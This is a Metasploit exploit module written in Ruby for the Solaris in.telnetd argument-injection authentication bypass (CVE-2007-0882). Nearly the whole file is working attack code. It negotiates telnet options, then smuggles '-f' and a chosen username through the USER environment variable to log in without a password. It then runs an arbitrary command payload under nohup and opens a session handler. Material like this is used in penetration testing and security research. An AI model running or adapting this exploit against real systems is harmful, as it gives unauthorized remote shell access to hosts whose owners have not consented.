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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
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        'Description' => %q{
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          This module exploits the argument injection vulnerability
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          in the telnet daemon (in.telnetd) of Solaris 10 and 11.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2007-0882' ],
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          [ 'OSVDB', '31881'],
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          [ 'BID', '22512' ],
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        ],
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        'Privileged' => false,
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        'Platform' => %w[solaris unix],
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        'Arch' => ARCH_CMD,
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        'Payload' => {
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          'Space' => 2000,
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          'BadChars' => '',
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          'DisableNops' => true,
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          'Compat' => {
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            'PayloadType' => 'cmd',
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            'RequiredCmd' => 'generic perl telnet'
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          }
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        },
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        'Targets' => [
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          ['Automatic', {}],
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        ],
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        'DisclosureDate' => '2007-02-12',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(23),
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      OptString.new('USER', [ true, 'The username to use', 'bin' ]),
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    ])
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  end
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  def exploit
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    connect
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    print_status('Setting USER environment variable...')
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    req = "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
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    req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
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    req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"
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    sock.put(req)
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    sock.get_once
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    req << "\xFF\xFC\x25"
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    sock.put(req)
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    sock.get_once
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    req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"
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    sock.put(req)
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    sock.get_once
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    req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"
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    sock.put(req)
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    sock.get_once
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    req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"
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    sock.put(req)
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    sock.get_once
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    req = "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
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    req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
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    req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"
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    sock.put(req)
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    sock.get_once
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    select(nil, nil, nil, 0.25)
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    sock.put("nohup #{payload.encoded} >/dev/null 2>&1\n")
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    select(nil, nil, nil, 0.25)
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    handler
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  end
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end
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